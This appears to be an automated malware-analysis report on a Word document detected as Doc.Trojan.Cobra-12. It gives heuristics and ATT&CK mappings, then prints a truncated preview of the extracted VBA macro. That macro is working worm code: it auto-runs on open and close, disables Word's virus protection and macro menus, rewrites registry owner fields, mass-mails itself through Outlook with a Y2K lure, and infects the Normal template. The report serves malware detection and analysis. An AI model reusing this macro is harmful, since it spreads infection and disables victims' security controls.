MALICIOUS
380
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1027 Obfuscated Files or Information
T1140 Deobfuscate/Decode Files or Information
T1204.002 Malicious File
This OLE document contains VBA macros, including AutoOpen and AutoClose functions, which are designed to execute automatically. The macros attempt to disable security features and use `CreateObject` and `Shell()` calls, indicating an intent to download and execute a secondary payload. The ClamAV detection of 'Doc.Trojan.Cobra-12' and the embedded artifact 'Win.Worm.VBS-213' further support its malicious nature.
Heuristics 8
-
ClamAV: Doc.Trojan.Cobra-12 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Cobra-12
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 17228 bytes |
SHA-256: b8724015c28911a2988a951b74b7625ca7f81576410de12235f576d946bb96f7 |
|||
|
Detection
ClamAV:
Win.Worm.VBS-213
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewCobra"
'Cobra Version 2.0F
Sub AutoOpen()
Call CobA
Call CobB
Call CobC
End Sub
Sub AutoClose()
Call CobA
Call CobB
Call CobC
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub
Sub FileNew()
Call CobA
Call CobB
Call CobC
Dialogs(wdDialogFileNew).Show
End Sub
Sub FileOpen()
On Error Resume Next
Dialogs(wdDialogFileOpen).Show
Call CobA
Call CobB
Call CobC
End Sub
Sub FileClose()
On Error Resume Next
Call CobA
Call CobB
Call CobC
If ActiveDocument.Saved = False Then ActiveDocument.Save
WordBasic.FileClose
End Sub
Sub FileExit()
On Error Resume Next
Call CobA
Call CobB
Call CobC
If ActiveDocument.Saved = False Then ActiveDocument.Save
WordBasic.FileExit
End Sub
Sub FileSaveAs()
On Error Resume Next
Call CobA
Call CobB
Call CobC
Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub CobA()
On Error Resume Next
Dim u, d, b
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Tools").Controls("Macro").Visible = False
CommandBars("Tools").Controls("Macro").Delete
CommandBars("View").Controls("Toolbars").Enabled = False
CommandBars("View").Controls("Toolbars").Visible = False
CommandBars("View").Controls("Toolbars").Delete
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
Options.VirusProtection = False
Options.SaveNormalPrompt = False
If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "RegisteredOwner") <> "LITON VS Cobra" Or _
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "RegisteredOrganization") <> "349,(PA12A19H2AG)/DHK/BD" Then
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cobra", "Inf") = Format(Date, "mm/dd/yyyy")
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "LITON VS Cobra"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "RegisteredOrganization") = "349,(PA12A19H2AG)/DHK/BD"
End If
Set u = CreateObject("Outlook.Application")
Set d = u.GetNameSpace("MAPI")
d.Logon "profile", "password"
AdLC = d.AddressLists.Count
For l = 1 To AdLC
Set a = d.AddressLists(l)
i = 1
Set b = u.CreateItem(0)
AdEC = a.AddressEntries.Count
For t = 1 To AdEC
o = a.AddressEntries(i)
b.Recipients.Add o
i = i + 1
Next t
b.Subject = "Important message about Y2000 from " _
& Application.UserName
b.Attachments.Add ActiveDocument.FullName
b.Body = "Important documment;-"
b.Send
o = ""
Next l
d.LogOff
End Sub
Sub CobB()
On Error Resume Next
Set AD = ActiveDocument
Set NT = NormalTemplate
ac = False: nc = False
For i = 1 To NT.VBProject.VBComponents.Count
If NT.VBProject.VBComponents(i).Name <> "ThisDocument" And _
NT.VBProject.VBComponents(i).Name <> "NewCobra" Then
Application.OrganizerDelete Source:=NT.FullName, _
Name:=NT.VBProject.VBComponents(i).Name, _
Object:=wdOrganizerObjectProjectItems
End If
Next
For i = 1 To AD.VBProject.VBComponents.Count
If AD.VBProject.VBComponents(i).Name <> "ThisDocument" And _
AD.VBProject.VBComponents(i).Name <> "Reference to Normal" And _
AD.VBProject.VBComponents(i).Name <> "NewCobra" Then
Application.OrganizerDelete Source:=AD.FullName, _
Name:=AD.VBProject.VBComponents(i).Name, _
Object:=wdOrganizerObjectProjectItems
End If
Next
For i = 1 To AD.VBProject.VBComponents.Count
If AD.VBProject.VBComponents(i).Name = "NewCobra" Then
ac = True
End If
Next
For i = 1 To NT.VBProject.VBComponents.Count
If NT.VBProject.VBComponents(i).Name = "NewCobra" Then
nc = True
End If
Next
If ac = True And nc = False Then
Application.OrganizerCopy Source:=AD.FullName, _
Destination:=NT.FullName, Name:="NewCobra", _
Object:=wdOrganiz
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.